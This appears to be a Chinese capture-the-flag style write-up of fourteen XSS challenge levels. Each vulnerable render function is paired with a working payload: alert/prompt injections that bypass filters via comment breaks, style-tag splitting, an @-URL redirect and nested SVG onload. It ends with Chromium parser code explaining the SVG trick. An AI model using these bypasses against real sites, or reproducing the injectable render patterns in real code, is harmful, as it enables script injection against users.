目录
一:function render (input) { return '
二:function render (input) { return '' + input + ''}
三:function render (input) { return ''}
六:function render (input) { input = input.replace(/-->/g, '😂') return ''}
七: function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return ``}
function render (input) { const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '') return `
九:function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` `}
编辑 十二:function render (input) { input = input.toUpperCase() return `
${input}
return segments.map(function(title, index) { // title can only contain 15 characters return '
一:function render (input) {
return '<div>' + input + '</div>'
}
解法:
</div>
<script> alert(1)</script> //
题目:
function render (input) {
return '<div>' + input + '</div>'
}
二:function render (input) {
return '<textarea>' + input + '</textarea>'
}
解法:
</textarea><script>alert(1)</script>
题目:
function render (input) {
return '<textarea>' + input + '</textarea>'
}
三:function render (input) {
return '<input type="name" value="' + input + '">'
}
解法:
"><script>alert(1)</script>
题目:
function render (input) {
return '<input type="name" value="' + input + '">'
}
四:function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
解法:
<script>alert`1`</script>
题目:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
五:function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
解法:
<img src=1 onerror="alert(1)"
题目:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
六:function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
解法:
--!><script>alert(1)</script><--
题目:
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
七: function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
解法:
type="image" src=1 onerror
=alert(1)
题目:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
八:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
解法:
<img src=1 onerror="alert(1)"
题目:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
九:function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
解法:
</style
><script>alert(1)</script>
题目:
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
十:function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
解法:
http://www.segmentfault.com"></script><script>alert(1)</script>
题目:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
十一:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
解法:
http://www.segmentfault.com@127.0.0.1/test.js
//@ 可以重定向到@后面的连接中
题目:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
十二:function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
解法:
<svg/onload=alert(1)>
题目:
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
十三: function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
解法:
"><script>/*#*/prompt(/*#*/1)/*#*/</script>
题目:
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
十四:
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}
解法:
"><svg><!--#--><script><!--#-->prompt(<!--#-->1)<!--#--></script>
题目:
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}
svg命名空间 :
为什么要加<svg>?
<script>标签下只能存放文本,注释不会生效。<svg>是个命名空间,使用<svg>会切换到<svg>的命名空间内,遵循<svg>的语法格式(xml格式)。命名空间:<html>,<svg>,<mathml>
这三个命名空间可以相互切换。
补充双<svg>绕过 ——可以在过滤代码执行以前,提前执行恶意代码
我们知道JS是通过DOM接口来操作文档的,而HTML文档也是用DOM树来表示。所以在浏览器的渲染过程中,我们最关注的就是DOM树是如何构建的。
<img src=1 onerror>
解析一份文档时,先由标记生成器做词法分析,将读入的字符转化为不同类型的Token,然后将Token传递给树构造器处理;接着标识识别器继续接收字符转换为Token,如此循环。实际上对于很多其他语言,词法分析全部完成后才会进行语法分析(树构造器完成的内容),但由于HTML的特殊性,树构造器工作的时候有可能会修改文档的内容,因此这个过程需要循环处理。
在树构建过程中,遇到不同的Token有不同的处理方式。具体的判断是在HTMLTreeBuilder::ProcessToken(AtomicHTMLToken* token)
中进行的。AtomicHTMLToken
是代表Token的数据结构,包含了确定Token类型的字段,确定Token名字的字段等等。Token类型共有7种,kStartTag
代表开标签,kEndTag
代表闭标签,kCharacter
代表标签内的文本。所以一个<script>alert(1)</script>
会被解析成3个不同种类的Token,分别是kStartTag
、kCharacter
和kEndTag
。在处理Token的过程中,还有一个InsertionMode
的概念,用于判断和辅助处理一些异常情况。
在处理Token的时候,还会用到HTMLElementStack
,一个栈的结构。当解析器遇到开标签时,会创建相应元素并附加到其父节点,然后将token和元素构成的Item压入该栈。遇到一个闭标签的时候,就会一直弹出栈直到遇到对应元素构成的item为止,这也是一个处理文档异常的办法。比如<div><p>1</div>
会被浏览器正确识别成<div><p>1</p></div>
正是借助了栈的能力。
而当处理script的闭标签时,除了弹出相应item,还会暂停当前的DOM树构建,进入JS的执行环境。换句话说,在文档中的script标签会阻塞DOM的构造。JS环境里对DOM操作又会导致回流,为DOM树构造造成额外影响。
void HTMLElementStack::PopAll() {
root_node_ = nullptr;
head_element_ = nullptr;
body_element_ = nullptr;
stack_depth_ = 0;
while (top_) {
Node& node = *TopNode();
auto* element = DynamicTo<Element>(node);
if (element) {
element->FinishParsingChildren();
if (auto* select = DynamicTo<HTMLSelectElement>(node))
select->SetBlocksFormSubmission(true);
}
top_ = top_->ReleaseNext();
}
}
void HTMLElementStack::PopCommon() {
DCHECK(!TopStackItem()->HasTagName(html_names::kHTMLTag));
DCHECK(!TopStackItem()->HasTagName(html_names::kHeadTag) || !head_element_);
DCHECK(!TopStackItem()->HasTagName(html_names::kBodyTag) || !body_element_);
Top()->FinishParsingChildren();
top_ = top_->ReleaseNext();
stack_depth_--;
}
当我们没有正确闭合标签的时候,如<svg><svg>
,就可能调用到PopAll
来清理;而正确闭合的标签就可能调用到其他出栈函数并调用到PopCommon
。这两个函数有一个共同点,都会调用栈中元素的FinishParsingChildren
函数。这个函数用于处理子节点解析完毕以后的工作。因此,我们可以查看svg标签对应的元素类的这个函数。
void SVGSVGElement::FinishParsingChildren() {
SVGGraphicsElement::FinishParsingChildren();
// The outermost SVGSVGElement SVGLoad event is fired through
// LocalDOMWindow::dispatchWindowLoadEvent.
if (IsOutermostSVGSVGElement())
return;
// finishParsingChildren() is called when the close tag is reached for an
// element (e.g. </svg>) we send SVGLoad events here if we can, otherwise
// they'll be sent when any required loads finish
SendSVGLoadEventIfPossible();
}
这里有一个非常明显的判断IsOutermostSVGSVGElement
,如果是最外层的svg则直接返回。注释也告诉我们了,最外层svg的load
事件由LocalDOMWindow::dispatchWindowLoadEvent
触发;而其他svg的load
事件则在达到结束标记的时候触发。所以我们跟进SendSVGLoadEventIfPossible
进一步查看。
bool SVGElement::SendSVGLoadEventIfPossible() {
if (!HaveLoadedRequiredResources())
return false;
if ((IsStructurallyExternal() || IsA<SVGSVGElement>(*this)) &&
HasLoadListener(this))
DispatchEvent(*Event::Create(event_type_names::kLoad));
return true;
}
先决条件 在于svg不能最外层 onload 必须保证不是最外层
这个函数是继承自父类SVGElement
的,可以看到代码中的DispatchEvent(*Event::Create(event_type_names::kLoad));
确实触发了load事件,而前面的判断只要满足是svg元素以及对load
事件编写了相关代码即可,也就是说在这里执行了我们写的onload=alert(1)
的代码。